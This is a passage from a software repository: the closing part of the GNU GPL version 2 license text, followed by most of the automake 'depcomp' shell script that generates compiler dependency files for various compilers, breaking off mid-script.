interchange; or, 148 | 149 | c) Accompany it with the information you received as to the offer 150 | to distribute corresponding source code. (This alternative is 151 | allowed only for noncommercial distribution and only if you 152 | received the program in object code or executable form with such 153 | an offer, in accord with Subsection b above.) 154 | 155 | The source code for a work means the preferred form of the work for 156 | making modifications to it. For an executable work, complete source 157 | code means all the source code for all modules it contains, plus any 158 | associated interface definition files, plus the scripts used to 159 | control compilation and installation of the executable. However, as a 160 | special exception, the source code distributed need not include 161 | anything that is normally distributed (in either source or binary 162 | form) with the major components (compiler, kernel, and so on) of the 163 | operating system on which the executable runs, unless that component 164 | itself accompanies the executable. 165 | 166 | If distribution of executable or object code is made by offering 167 | access to copy from a designated place, then offering equivalent 168 | access to copy the source code from the same place counts as 169 | distribution of the source code, even though third parties are not 170 | compelled to copy the source along with the object code. 171 | 172 | 4. You may not copy, modify, sublicense, or distribute the Program 173 | except as expressly provided under this License. Any attempt 174 | otherwise to copy, modify, sublicense or distribute the Program is 175 | void, and will automatically terminate your rights under this License. 176 | However, parties who have received copies, or rights, from you under 177 | this License will not have their licenses terminated so long as such 178 | parties remain in full compliance. 179 | 180 | 5. You are not required to accept this License, since you have not 181 | signed it. However, nothing else grants you permission to modify or 182 | distribute the Program or its derivative works. These actions are 183 | prohibited by law if you do not accept this License. Therefore, by 184 | modifying or distributing the Program (or any work based on the 185 | Program), you indicate your acceptance of this License to do so, and 186 | all its terms and conditions for copying, distributing or modifying 187 | the Program or works based on it. 188 | 189 | 6. Each time you redistribute the Program (or any work based on the 190 | Program), the recipient automatically receives a license from the 191 | original licensor to copy, distribute or modify the Program subject to 192 | these terms and conditions. You may not impose any further 193 | restrictions on the recipients' exercise of the rights granted herein. 194 | You are not responsible for enforcing compliance by third parties to 195 | this License. 196 | 197 | 7. If, as a consequence of a court judgment or allegation of patent 198 | infringement or for any other reason (not limited to patent issues), 199 | conditions are imposed on you (whether by court order, agreement or 200 | otherwise) that contradict the conditions of this License, they do not 201 | excuse you from the conditions of this License. If you cannot 202 | distribute so as to satisfy simultaneously your obligations under this 203 | License and any other pertinent obligations, then as a consequence you 204 | may not distribute the Program at all. For example, if a patent 205 | license would not permit royalty-free redistribution of the Program by 206 | all those who receive copies directly or indirectly through you, then 207 | the only way you could satisfy both it and this License would be to 208 | refrain entirely from distribution of the Program. 209 | 210 | If any portion of this section is held invalid or unenforceable under 211 | any particular circumstance, the balance of the section is intended to 212 | apply and the section as a whole is intended to apply in other 213 | circumstances. 214 | 215 | It is not the purpose of this section to induce you to infringe any 216 | patents or other property right claims or to contest validity of any 217 | such claims; this section has the sole purpose of protecting the 218 | integrity of the free software distribution system, which is 219 | implemented by public license practices. Many people have made 220 | generous contributions to the wide range of software distributed 221 | through that system in reliance on consistent application of that 222 | system; it is up to the author/donor to decide if he or she is willing 223 | to distribute software through any other system and a licensee cannot 224 | impose that choice. 225 | 226 | This section is intended to make thoroughly clear what is believed to 227 | be a consequence of the rest of this License. 228 | 229 | 8. If the distribution and/or use of the Program is restricted in 230 | certain countries either by patents or by copyrighted interfaces, the 231 | original copyright holder who places the Program under this License 232 | may add an explicit geographical distribution limitation excluding 233 | those countries, so that distribution is permitted only in or among 234 | countries not thus excluded. In such case, this License incorporates 235 | the limitation as if written in the body of this License. 236 | 237 | 9. The Free Software Foundation may publish revised and/or new versions 238 | of the General Public License from time to time. Such new versions will 239 | be similar in spirit to the present version, but may differ in detail to 240 | address new problems or concerns. 241 | 242 | Each version is given a distinguishing version number. If the Program 243 | specifies a version number of this License which applies to it and "any 244 | later version", you have the option of following the terms and conditions 245 | either of that version or of any later version published by the Free 246 | Software Foundation. If the Program does not specify a version number of 247 | this License, you may choose any version ever published by the Free Software 248 | Foundation. 249 | 250 | 10. If you wish to incorporate parts of the Program into other free 251 | programs whose distribution conditions are different, write to the author 252 | to ask for permission. For software which is copyrighted by the Free 253 | Software Foundation, write to the Free Software Foundation; we sometimes 254 | make exceptions for this. Our decision will be guided by the two goals 255 | of preserving the free status of all derivatives of our free software and 256 | of promoting the sharing and reuse of software generally. 257 | 258 | NO WARRANTY 259 | 260 | 11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY 261 | FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN 262 | OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES 263 | PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED 264 | OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF 265 | MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS 266 | TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE 267 | PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, 268 | REPAIR OR CORRECTION. 269 | 270 | 12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING 271 | WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR 272 | REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, 273 | INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING 274 | OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED 275 | TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY 276 | YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER 277 | PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE 278 | POSSIBILITY OF SUCH DAMAGES. 279 | 280 | END OF TERMS AND CONDITIONS 281 | 282 | How to Apply These Terms to Your New Programs 283 | 284 | If you develop a new program, and you want it to be of the greatest 285 | possible use to the public, the best way to achieve this is to make it 286 | free software which everyone can redistribute and change under these terms. 287 | 288 | To do so, attach the following notices to the program. It is safest 289 | to attach them to the start of each source file to most effectively 290 | convey the exclusion of warranty; and each file should have at least 291 | the "copyright" line and a pointer to where the full notice is found. 292 | 293 | 294 | Copyright (C) 19yy 295 | 296 | This program is free software; you can redistribute it and/or modify 297 | it under the terms of the GNU General Public License as published by 298 | the Free Software Foundation; either version 2 of the License, or 299 | (at your option) any later version. 300 | 301 | This program is distributed in the hope that it will be useful, 302 | but WITHOUT ANY WARRANTY; without even the implied warranty of 303 | MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 304 | GNU General Public License for more details. 305 | 306 | You should have received a copy of the GNU General Public License 307 | along with this program; if not, write to the Free Software 308 | Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA 309 | 310 | 311 | Also add information on how to contact you by electronic and paper mail. 312 | 313 | If the program is interactive, make it output a short notice like this 314 | when it starts in an interactive mode: 315 | 316 | Gnomovision version 69, Copyright (C) 19yy name of author 317 | Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'. 318 | This is free software, and you are welcome to redistribute it 319 | under certain conditions; type `show c' for details. 320 | 321 | The hypothetical commands `show w' and `show c' should show the appropriate 322 | parts of the General Public License. Of course, the commands you use may 323 | be called something other than `show w' and `show c'; they could even be 324 | mouse-clicks or menu items--whatever suits your program. 325 | 326 | You should also get your employer (if you work as a programmer) or your 327 | school, if any, to sign a "copyright disclaimer" for the program, if 328 | necessary. Here is a sample; alter the names: 329 | 330 | Yoyodyne, Inc., hereby disclaims all copyright interest in the program 331 | `Gnomovision' (which makes passes at compilers) written by James Hacker. 332 | 333 | , 1 April 1989 334 | Ty Coon, President of Vice 335 | 336 | This General Public License does not permit incorporating your program into 337 | proprietary programs. If your program is a subroutine library, you may 338 | consider it more useful to permit linking proprietary applications with the 339 | library. If this is what you want to do, use the GNU Library General 340 | Public License instead of this License. 341 | -------------------------------------------------------------------------------- /depcomp: -------------------------------------------------------------------------------- 1 | #! /bin/sh 2 | # depcomp - compile a program generating dependencies as side-effects 3 | 4 | scriptversion=2013-05-30.07; # UTC 5 | 6 | # Copyright (C) 1999-2014 Free Software Foundation, Inc. 7 | 8 | # This program is free software; you can redistribute it and/or modify 9 | # it under the terms of the GNU General Public License as published by 10 | # the Free Software Foundation; either version 2, or (at your option) 11 | # any later version. 12 | 13 | # This program is distributed in the hope that it will be useful, 14 | # but WITHOUT ANY WARRANTY; without even the implied warranty of 15 | # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 16 | # GNU General Public License for more details. 17 | 18 | # You should have received a copy of the GNU General Public License 19 | # along with this program. If not, see . 20 | 21 | # As a special exception to the GNU General Public License, if you 22 | # distribute this file as part of a program that contains a 23 | # configuration script generated by Autoconf, you may include it under 24 | # the same distribution terms that you use for the rest of that program. 25 | 26 | # Originally written by Alexandre Oliva . 27 | 28 | case $1 in 29 | '') 30 | echo "$0: No command. Try '$0 --help' for more information." 1>&2 31 | exit 1; 32 | ;; 33 | -h | --h*) 34 | cat <<\EOF 35 | Usage: depcomp [--help] [--version] PROGRAM [ARGS] 36 | 37 | Run PROGRAMS ARGS to compile a file, generating dependencies 38 | as side-effects. 39 | 40 | Environment variables: 41 | depmode Dependency tracking mode. 42 | source Source file read by 'PROGRAMS ARGS'. 43 | object Object file output by 'PROGRAMS ARGS'. 44 | DEPDIR directory where to store dependencies. 45 | depfile Dependency file to output. 46 | tmpdepfile Temporary file to use when outputting dependencies. 47 | libtool Whether libtool is used (yes/no). 48 | 49 | Report bugs to . 50 | EOF 51 | exit $? 52 | ;; 53 | -v | --v*) 54 | echo "depcomp $scriptversion" 55 | exit $? 56 | ;; 57 | esac 58 | 59 | # Get the directory component of the given path, and save it in the 60 | # global variables '$dir'. Note that this directory component will 61 | # be either empty or ending with a '/' character. This is deliberate. 62 | set_dir_from () 63 | { 64 | case $1 in 65 | */*) dir=`echo "$1" | sed -e 's|/[^/]*$|/|'`;; 66 | *) dir=;; 67 | esac 68 | } 69 | 70 | # Get the suffix-stripped basename of the given path, and save it the 71 | # global variable '$base'. 72 | set_base_from () 73 | { 74 | base=`echo "$1" | sed -e 's|^.*/||' -e 's/\.[^.]*$//'` 75 | } 76 | 77 | # If no dependency file was actually created by the compiler invocation, 78 | # we still have to create a dummy depfile, to avoid errors with the 79 | # Makefile "include basename.Plo" scheme. 80 | make_dummy_depfile () 81 | { 82 | echo "#dummy" > "$depfile" 83 | } 84 | 85 | # Factor out some common post-processing of the generated depfile. 86 | # Requires the auxiliary global variable '$tmpdepfile' to be set. 87 | aix_post_process_depfile () 88 | { 89 | # If the compiler actually managed to produce a dependency file, 90 | # post-process it. 91 | if test -f "$tmpdepfile"; then 92 | # Each line is of the form 'foo.o: dependency.h'. 93 | # Do two passes, one to just change these to 94 | # $object: dependency.h 95 | # and one to simply output 96 | # dependency.h: 97 | # which is needed to avoid the deleted-header problem. 98 | { sed -e "s,^.*\.[$lower]*:,$object:," < "$tmpdepfile" 99 | sed -e "s,^.*\.[$lower]*:[$tab ]*,," -e 's,$,:,' < "$tmpdepfile" 100 | } > "$depfile" 101 | rm -f "$tmpdepfile" 102 | else 103 | make_dummy_depfile 104 | fi 105 | } 106 | 107 | # A tabulation character. 108 | tab=' ' 109 | # A newline character. 110 | nl=' 111 | ' 112 | # Character ranges might be problematic outside the C locale. 113 | # These definitions help. 114 | upper=ABCDEFGHIJKLMNOPQRSTUVWXYZ 115 | lower=abcdefghijklmnopqrstuvwxyz 116 | digits=0123456789 117 | alpha=${upper}${lower} 118 | 119 | if test -z "$depmode" || test -z "$source" || test -z "$object"; then 120 | echo "depcomp: Variables source, object and depmode must be set" 1>&2 121 | exit 1 122 | fi 123 | 124 | # Dependencies for sub/bar.o or sub/bar.obj go into sub/.deps/bar.Po. 125 | depfile=${depfile-`echo "$object" | 126 | sed 's|[^\\/]*$|'${DEPDIR-.deps}'/&|;s|\.\([^.]*\)$|.P\1|;s|Pobj$|Po|'`} 127 | tmpdepfile=${tmpdepfile-`echo "$depfile" | sed 's/\.\([^.]*\)$/.T\1/'`} 128 | 129 | rm -f "$tmpdepfile" 130 | 131 | # Avoid interferences from the environment. 132 | gccflag= dashmflag= 133 | 134 | # Some modes work just like other modes, but use different flags. We 135 | # parameterize here, but still list the modes in the big case below, 136 | # to make depend.m4 easier to write. Note that we *cannot* use a case 137 | # here, because this file can only contain one case statement. 138 | if test "$depmode" = hp; then 139 | # HP compiler uses -M and no extra arg. 140 | gccflag=-M 141 | depmode=gcc 142 | fi 143 | 144 | if test "$depmode" = dashXmstdout; then 145 | # This is just like dashmstdout with a different argument. 146 | dashmflag=-xM 147 | depmode=dashmstdout 148 | fi 149 | 150 | cygpath_u="cygpath -u -f -" 151 | if test "$depmode" = msvcmsys; then 152 | # This is just like msvisualcpp but w/o cygpath translation. 153 | # Just convert the backslash-escaped backslashes to single forward 154 | # slashes to satisfy depend.m4 155 | cygpath_u='sed s,\\\\,/,g' 156 | depmode=msvisualcpp 157 | fi 158 | 159 | if test "$depmode" = msvc7msys; then 160 | # This is just like msvc7 but w/o cygpath translation. 161 | # Just convert the backslash-escaped backslashes to single forward 162 | # slashes to satisfy depend.m4 163 | cygpath_u='sed s,\\\\,/,g' 164 | depmode=msvc7 165 | fi 166 | 167 | if test "$depmode" = xlc; then 168 | # IBM C/C++ Compilers xlc/xlC can output gcc-like dependency information. 169 | gccflag=-qmakedep=gcc,-MF 170 | depmode=gcc 171 | fi 172 | 173 | case "$depmode" in 174 | gcc3) 175 | ## gcc 3 implements dependency tracking that does exactly what 176 | ## we want. Yay! Note: for some reason libtool 1.4 doesn't like 177 | ## it if -MD -MP comes after the -MF stuff. Hmm. 178 | ## Unfortunately, FreeBSD c89 acceptance of flags depends upon 179 | ## the command line argument order; so add the flags where they 180 | ## appear in depend2.am. Note that the slowdown incurred here 181 | ## affects only configure: in makefiles, %FASTDEP% shortcuts this. 182 | for arg 183 | do 184 | case $arg in 185 | -c) set fnord "$@" -MT "$object" -MD -MP -MF "$tmpdepfile" "$arg" ;; 186 | *) set fnord "$@" "$arg" ;; 187 | esac 188 | shift # fnord 189 | shift # $arg 190 | done 191 | "$@" 192 | stat=$? 193 | if test $stat -ne 0; then 194 | rm -f "$tmpdepfile" 195 | exit $stat 196 | fi 197 | mv "$tmpdepfile" "$depfile" 198 | ;; 199 | 200 | gcc) 201 | ## Note that this doesn't just cater to obsosete pre-3.x GCC compilers. 202 | ## but also to in-use compilers like IMB xlc/xlC and the HP C compiler. 203 | ## (see the conditional assignment to $gccflag above). 204 | ## There are various ways to get dependency output from gcc. Here's 205 | ## why we pick this rather obscure method: 206 | ## - Don't want to use -MD because we'd like the dependencies to end 207 | ## up in a subdir. Having to rename by hand is ugly. 208 | ## (We might end up doing this anyway to support other compilers.) 209 | ## - The DEPENDENCIES_OUTPUT environment variable makes gcc act like 210 | ## -MM, not -M (despite what the docs say). Also, it might not be 211 | ## supported by the other compilers which use the 'gcc' depmode. 212 | ## - Using -M directly means running the compiler twice (even worse 213 | ## than renaming). 214 | if test -z "$gccflag"; then 215 | gccflag=-MD, 216 | fi 217 | "$@" -Wp,"$gccflag$tmpdepfile" 218 | stat=$? 219 | if test $stat -ne 0; then 220 | rm -f "$tmpdepfile" 221 | exit $stat 222 | fi 223 | rm -f "$depfile" 224 | echo "$object : \\" > "$depfile" 225 | # The second -e expression handles DOS-style file names with drive 226 | # letters. 227 | sed -e 's/^[^:]*: / /' \ 228 | -e 's/^['$alpha']:\/[^:]*: / /' < "$tmpdepfile" >> "$depfile" 229 | ## This next piece of magic avoids the "deleted header file" problem. 230 | ## The problem is that when a header file which appears in a .P file 231 | ## is deleted, the dependency causes make to die (because there is 232 | ## typically no way to rebuild the header). We avoid this by adding 233 | ## dummy dependencies for each header file. Too bad gcc doesn't do 234 | ## this for us directly. 235 | ## Some versions of gcc put a space before the ':'. On the theory 236 | ## that the space means something, we add a space to the output as 237 | ## well. hp depmode also adds that space, but also prefixes the VPATH 238 | ## to the object. Take care to not repeat it in the output. 239 | ## Some versions of the HPUX 10.20 sed can't process this invocation 240 | ## correctly. Breaking it into two sed invocations is a workaround. 241 | tr ' ' "$nl" < "$tmpdepfile" \ 242 | | sed -e 's/^\\$//' -e '/^$/d' -e "s|.*$object$||" -e '/:$/d' \ 243 | | sed -e 's/$/ :/' >> "$depfile" 244 | rm -f "$tmpdepfile" 245 | ;; 246 | 247 | hp) 248 | # This case exists only to let depend.m4 do its work. It works by 249 | # looking at the text of this script. This case will never be run, 250 | # since it is checked for above. 251 | exit 1 252 | ;; 253 | 254 | sgi) 255 | if test "$libtool" = yes; then 256 | "$@" "-Wp,-MDupdate,$tmpdepfile" 257 | else 258 | "$@" -MDupdate "$tmpdepfile" 259 | fi 260 | stat=$? 261 | if test $stat -ne 0; then 262 | rm -f "$tmpdepfile" 263 | exit $stat 264 | fi 265 | rm -f "$depfile" 266 | 267 | if test -f "$tmpdepfile"; then # yes, the sourcefile depend on other files 268 | echo "$object : \\" > "$depfile" 269 | # Clip off the initial element (the dependent). Don't try to be 270 | # clever and replace this with sed code, as IRIX sed won't handle 271 | # lines with more than a fixed number of characters (4096 in 272 | # IRIX 6.2 sed, 8192 in IRIX 6.5). We also remove comment lines; 273 | # the IRIX cc adds comments like '#:fec' to the end of the 274 | # dependency line. 275 | tr ' ' "$nl" < "$tmpdepfile" \ 276 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' \ 277 | | tr "$nl" ' ' >> "$depfile" 278 | echo >> "$depfile" 279 | # The second pass generates a dummy entry for each header file. 280 | tr ' ' "$nl" < "$tmpdepfile" \ 281 | | sed -e 's/^.*\.o://' -e 's/#.*$//' -e '/^$/ d' -e 's/$/:/' \ 282 | >> "$depfile" 283 | else 284 | make_dummy_depfile 285 | fi 286 | rm -f "$tmpdepfile" 287 | ;; 288 | 289 | xlc) 290 | # This case exists only to let depend.m4 do its work. It works by 291 | # looking at the text of this script. This case will never be run, 292 | # since it is checked for above. 293 | exit 1 294 | ;; 295 | 296 | aix) 297 | # The C for AIX Compiler uses -M and outputs the dependencies 298 | # in a .u file. In older versions, this file always lives in the 299 | # current directory. Also, the AIX compiler puts '$object:' at the 300 | # start of each line; $object doesn't have directory information. 301 | # Version 6 uses the directory in both cases. 302 | set_dir_from "$object" 303 | set_base_from "$object" 304 | if test "$libtool" = yes; then 305 | tmpdepfile1=$dir$base.u 306 | tmpdepfile2=$base.u 307 | tmpdepfile3=$dir.libs/$base.u 308 | "$@" -Wc,-M 309 | else 310 | tmpdepfile1=$dir$base.u 311 | tmpdepfile2=$dir$base.u 312 | tmpdepfile3=$dir$base.u 313 | "$@" -M 314 | fi 315 | stat=$? 316 | if test $stat -ne 0; then 317 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 318 | exit $stat 319 | fi 320 | 321 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 322 | do 323 | test -f "$tmpdepfile" && break 324 | done 325 | aix_post_process_depfile 326 | ;; 327 | 328 | tcc) 329 | # tcc (Tiny C Compiler) understand '-MD -MF file' since version 0.9.26 330 | # FIXME: That version still under development at the moment of writing. 331 | # Make that this statement remains true also for stable, released 332 | # versions. 333 | # It will wrap lines (doesn't matter whether long or short) with a 334 | # trailing '\', as in: 335 | # 336 | # foo.o : \ 337 | # foo.c \ 338 | # foo.h \ 339 | # 340 | # It will put a trailing '\' even on the last line, and will use leading 341 | # spaces rather than leading tabs (at least since its commit 0394caf7 342 | # "Emit spaces for -MD"). 343 | "$@" -MD -MF "$tmpdepfile" 344 | stat=$? 345 | if test $stat -ne 0; then 346 | rm -f "$tmpdepfile" 347 | exit $stat 348 | fi 349 | rm -f "$depfile" 350 | # Each non-empty line is of the form 'foo.o : \' or ' dep.h \'. 351 | # We have to change lines of the first kind to '$object: \'. 352 | sed -e "s|.*:|$object :|" < "$tmpdepfile" > "$depfile" 353 | # And for each line of the second kind, we have to emit a 'dep.h:' 354 | # dummy dependency, to avoid the deleted-header problem. 355 | sed -n -e 's|^ *\(.*\) *\\$|\1:|p' < "$tmpdepfile" >> "$depfile" 356 | rm -f "$tmpdepfile" 357 | ;; 358 | 359 | ## The order of this option in the case statement is important, since the 360 | ## shell code in configure will try each of these formats in the order 361 | ## listed in this file. A plain '-MD' option would be understood by many 362 | ## compilers, so we must ensure this comes after the gcc and icc options. 363 | pgcc) 364 | # Portland's C compiler understands '-MD'. 365 | # Will always output deps to 'file.d' where file is the root name of the 366 | # source file under compilation, even if file resides in a subdirectory. 367 | # The object file name does not affect the name of the '.d' file. 368 | # pgcc 10.2 will output 369 | # foo.o: sub/foo.c sub/foo.h 370 | # and will wrap long lines using '\' : 371 | # foo.o: sub/foo.c ... \ 372 | # sub/foo.h ... \ 373 | # ... 374 | set_dir_from "$object" 375 | # Use the source, not the object, to determine the base name, since 376 | # that's sadly what pgcc will do too. 377 | set_base_from "$source" 378 | tmpdepfile=$base.d 379 | 380 | # For projects that build the same source file twice into different object 381 | # files, the pgcc approach of using the *source* file root name can cause 382 | # problems in parallel builds. Use a locking strategy to avoid stomping on 383 | # the same $tmpdepfile. 384 | lockdir=$base.d-lock 385 | trap " 386 | echo '$0: caught signal, cleaning up...' >&2 387 | rmdir '$lockdir' 388 | exit 1 389 | " 1 2 13 15 390 | numtries=100 391 | i=$numtries 392 | while test $i -gt 0; do 393 | # mkdir is a portable test-and-set. 394 | if mkdir "$lockdir" 2>/dev/null; then 395 | # This process acquired the lock. 396 | "$@" -MD 397 | stat=$? 398 | # Release the lock. 399 | rmdir "$lockdir" 400 | break 401 | else 402 | # If the lock is being held by a different process, wait 403 | # until the winning process is done or we timeout. 404 | while test -d "$lockdir" && test $i -gt 0; do 405 | sleep 1 406 | i=`expr $i - 1` 407 | done 408 | fi 409 | i=`expr $i - 1` 410 | done 411 | trap - 1 2 13 15 412 | if test $i -le 0; then 413 | echo "$0: failed to acquire lock after $numtries attempts" >&2 414 | echo "$0: check lockdir '$lockdir'" >&2 415 | exit 1 416 | fi 417 | 418 | if test $stat -ne 0; then 419 | rm -f "$tmpdepfile" 420 | exit $stat 421 | fi 422 | rm -f "$depfile" 423 | # Each line is of the form `foo.o: dependent.h', 424 | # or `foo.o: dep1.h dep2.h \', or ` dep3.h dep4.h \'. 425 | # Do two passes, one to just change these to 426 | # `$object: dependent.h' and one to simply `dependent.h:'. 427 | sed "s,^[^:]*:,$object :," < "$tmpdepfile" > "$depfile" 428 | # Some versions of the HPUX 10.20 sed can't process this invocation 429 | # correctly. Breaking it into two sed invocations is a workaround. 430 | sed 's,^[^:]*: \(.*\)$,\1,;s/^\\$//;/^$/d;/:$/d' < "$tmpdepfile" \ 431 | | sed -e 's/$/ :/' >> "$depfile" 432 | rm -f "$tmpdepfile" 433 | ;; 434 | 435 | hp2) 436 | # The "hp" stanza above does not work with aCC (C++) and HP's ia64 437 | # compilers, which have integrated preprocessors. The correct option 438 | # to use with these is +Maked; it writes dependencies to a file named 439 | # 'foo.d', which lands next to the object file, wherever that 440 | # happens to be. 441 | # Much of this is similar to the tru64 case; see comments there. 442 | set_dir_from "$object" 443 | set_base_from "$object" 444 | if test "$libtool" = yes; then 445 | tmpdepfile1=$dir$base.d 446 | tmpdepfile2=$dir.libs/$base.d 447 | "$@" -Wc,+Maked 448 | else 449 | tmpdepfile1=$dir$base.d 450 | tmpdepfile2=$dir$base.d 451 | "$@" +Maked 452 | fi 453 | stat=$? 454 | if test $stat -ne 0; then 455 | rm -f "$tmpdepfile1" "$tmpdepfile2" 456 | exit $stat 457 | fi 458 | 459 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" 460 | do 461 | test -f "$tmpdepfile" && break 462 | done 463 | if test -f "$tmpdepfile"; then 464 | sed -e "s,^.*\.[$lower]*:,$object:," "$tmpdepfile" > "$depfile" 465 | # Add 'dependent.h:' lines. 466 | sed -ne '2,${ 467 | s/^ *// 468 | s/ \\*$// 469 | s/$/:/ 470 | p 471 | }' "$tmpdepfile" >> "$depfile" 472 | else 473 | make_dummy_depfile 474 | fi 475 | rm -f "$tmpdepfile" "$tmpdepfile2" 476 | ;; 477 | 478 | tru64) 479 | # The Tru64 compiler uses -MD to generate dependencies as a side 480 | # effect. 'cc -MD -o foo.o ...' puts the dependencies into 'foo.o.d'. 481 | # At least on Alpha/Redhat 6.1, Compaq CCC V6.2-504 seems to put 482 | # dependencies in 'foo.d' instead, so we check for that too. 483 | # Subdirectories are respected. 484 | set_dir_from "$object" 485 | set_base_from "$object" 486 | 487 | if test "$libtool" = yes; then 488 | # Libtool generates 2 separate objects for the 2 libraries. These 489 | # two compilations output dependencies in $dir.libs/$base.o.d and 490 | # in $dir$base.o.d. We have to check for both files, because 491 | # one of the two compilations can be disabled. We should prefer 492 | # $dir$base.o.d over $dir.libs/$base.o.d because the latter is 493 | # automatically cleaned when .libs/ is deleted, while ignoring 494 | # the former would cause a distcleancheck panic. 495 | tmpdepfile1=$dir$base.o.d # libtool 1.5 496 | tmpdepfile2=$dir.libs/$base.o.d # Likewise. 497 | tmpdepfile3=$dir.libs/$base.d # Compaq CCC V6.2-504 498 | "$@" -Wc,-MD 499 | else 500 | tmpdepfile1=$dir$base.d 501 | tmpdepfile2=$dir$base.d 502 | tmpdepfile3=$dir$base.d 503 | "$@" -MD 504 | fi 505 | 506 | stat=$? 507 | if test $stat -ne 0; then 508 | rm -f "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 509 | exit $stat 510 | fi 511 | 512 | for tmpdepfile in "$tmpdepfile1" "$tmpdepfile2" "$tmpdepfile3" 513 | do 514 | test -f "$tmpdepfile" && break 515 | done 516 | # Same post-processing that is required for AIX mode. 517 | aix_post_process_depfile 518 | ;; 519 | 520 | msvc7) 521 | if test "$libtool" = yes; then 522 | showIncludes=-Wc,-showIncludes 523 | else 524 | showIncludes=-showIncludes 525 | fi 526 | "$@" $showIncludes > "$tmpdepfile" 527 | stat=$? 528 | grep -v '^Note: including file: ' "$tmpdepfile" 529 | if test $stat -ne 0; then 530 | rm -f "$tmpdepfile" 531 | exit $stat 532 | fi 533 | rm -f "$depfile" 534 | echo "$object : \\" > "$depfile" 535 | # The first sed program below extracts the file names and escapes 536 | # backslashes for cygpath. The second sed program outputs the file 537 | # name when reading, but also accumulates all include files in the 538 | # hold buffer in order to output them again at the end. This only 539 | # works with sed implementations that can handle large buffers. 540 | sed < "$tmpdepfile" -n ' 541 | /^Note: including file: *\(.*\)/ { 542 | s//\1/ 543 | s/\\/\\\\/g 544 | p 545 | }' | $cygpath_u | sort -u | sed -n ' 546 | s/ /\\ /g 547 | s/\(.*\)/'"$tab"'\1 \\/p 548 | s/.\(.*\) \\/\1:/ 549 | H 550 | $ { 551 | s/.*/'"$tab"'/ 552 | G 553 | p 554 | }' >> "$depfile" 555 | echo >> "$depfile" # make sure the fragment doesn't end with a backslash 556 | rm -f "$tmpdepfile" 557 | ;; 558 | 559 | msvc7msys) 560 | # This case exists only to let depend.m4 do its work. It works by 561 | # looking at the text of this script. This case will never be run, 562 | # since it is checked for above. 563 | exit 1 564 | ;; 565 | 566 | #nosideeffect) 567 | # This comment above is used by automake to tell side-effect 568 | # dependency tracking mechanisms from slower ones. 569 | 570 | dashmstdout) 571 | # Important note: in order to support this mode, a compiler *must* 572 | # always write the preprocessed file to stdout, regardless of -o. 573 | "$@" || exit $? 574 | 575 | # Remove the call to Libtool. 576 | if test "$libtool" = yes; then 577 | while test "X$1" != 'X--mode=compile'; do 578 | shift 579 | done 580 | shift 581 | fi 582 | 583 | # Remove '-o $object'. 584 | IFS=" " 585 | for arg 586 | do 587 | case $arg in 588 | -o) 589 | shift 590 | ;; 591 | $object) 592 | shift 593 | ;; 594 | *) 595 | set fnord "$@" "$arg" 596 | shift # fnord 597 | shift # $arg 598 | ;; 599 | esac 600 | done 601 | 602 | test -z "$dashmflag" && dashmflag=-M 603 | # Require at least two characters before searching for ':' 604 | # in the target name. This is to cope with DOS-style filenames: 605 | # a dependency such as 'c:/foo/bar' could be seen as target 'c' otherwise. 606 | "$@" $dashmflag | 607 | sed "s|^[$tab ]*[^:$tab ][^:][^:]*:[$tab ]*|$object: |" > "$tmpdepfile" 608 | rm -f "$depfile" 609 | cat < "$tmpdepfile" > "$depfile" 610 | # Some versions of the HPUX 10.20 sed can't process this sed invocation 611 | # correctly. Breaking it into two sed invocations is a workaround. 612 | tr ' ' "$nl" < "$tmpdepfile" \ 613 | | sed -e 's/^\\$//' -e '/^$/d' -e '/:$/d' \ 614 | | sed -e 's/$/ :/' >> "$depfile" 615 | rm -f "$tmpdepfile" 616 | ;; 617 | 618 | dashXmstdout) 619 | # This case only exists to satisfy depend.m4. It is never actually 620 | # run, as this mode is specially recognized in the preamble. 621 | exit 1 622 | ;; 623 | 624 | makedepend) 625 | "$@" || exit $? 626 | # Remove any Libtool call 627 | if test "$libtool" = yes; then 628 | while test "X$1" != 'X--mode=compile'; do 629 | shift 630 | done 631 | shift 632 | fi 633 | # X makedepend 634 | shift 635 | cleared=no eat=no 636 | for arg 637 | do 638 | case $cleared in 639 | no) 640 | set ""; shift 641 | cleared=yes ;; 642 | esac 643 | if test $eat = yes; then 644 | eat=no 645 | continue 646 | fi 647 | case "$arg" in 648 | -D*|-I*) 649 | set fnord "$@" "$arg"; shift ;; 650 | # Strip any option that makedepend may not understand. Remove 651 | # the object too, otherwise makedepend will parse it as a source file. 652 | -arch) 653 | eat=yes ;; 654 | -*|$object) 655 | ;; 656 | *) 657 | set fnord "$@" "$arg"; shift ;; 658 | esac 659 | done 660 | 